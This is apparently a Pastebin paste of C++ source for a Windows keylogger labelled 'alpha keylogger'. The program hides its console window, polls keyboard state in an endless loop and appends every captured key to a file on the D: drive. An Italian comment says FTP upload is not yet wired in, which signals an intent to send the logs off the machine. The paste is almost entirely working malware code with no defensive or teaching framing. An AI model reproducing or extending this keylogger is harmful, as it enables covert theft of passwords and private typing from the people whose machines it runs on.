Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //alpha keylogger
- //non ci ho ancora attaccato nemmeno l'ftp e già rompe il cazzo
- #include <iostream>
- #include <fstream>
- #include <windows.h>
- #define DELAY 150
- using namespace std;
- void writedown (char key){
- char *path = "D:\\klog.txt";
- FILE *out;
- out = fopen(path, "a+");
- fprintf(out, "%c", key);
- fclose(out);
- }
- int main()
- {
- FreeConsole();
- while(1){
- for(char i = 31; i < 91; i++){
- if(GetAsyncKeyState(i) & 0x8000){
- writedown(i);
- Sleep(DELAY);
- }
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement